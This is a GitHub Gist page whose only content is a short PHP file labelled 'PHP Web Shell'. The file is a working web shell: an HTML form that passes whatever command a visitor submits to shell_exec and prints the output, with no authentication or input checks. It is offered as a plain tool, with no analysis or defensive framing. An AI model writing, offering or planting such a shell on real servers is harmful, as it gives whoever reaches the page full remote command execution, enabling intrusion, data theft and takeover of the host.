Created
January 1, 2024 12:41
-
-
Save adeshkolte/32bd9680b6c15596946c320668cee81c to your computer and use it in GitHub Desktop.
ss
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>PHP Web Shell</title> | |
</head> | |
<body> | |
<h1>PHP Web Shell</h1> | |
<form method="POST"> | |
<label>Enter a command:</label><br> | |
<input type="text" name="cmd"><br> | |
<input type="submit" value="Execute"> | |
</form> | |
<?php | |
if (isset($_POST["cmd"])) { | |
$cmd = $_POST["cmd"]; | |
$output = shell_exec($cmd); | |
echo "<pre>$output</pre>"; | |
} | |
?> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment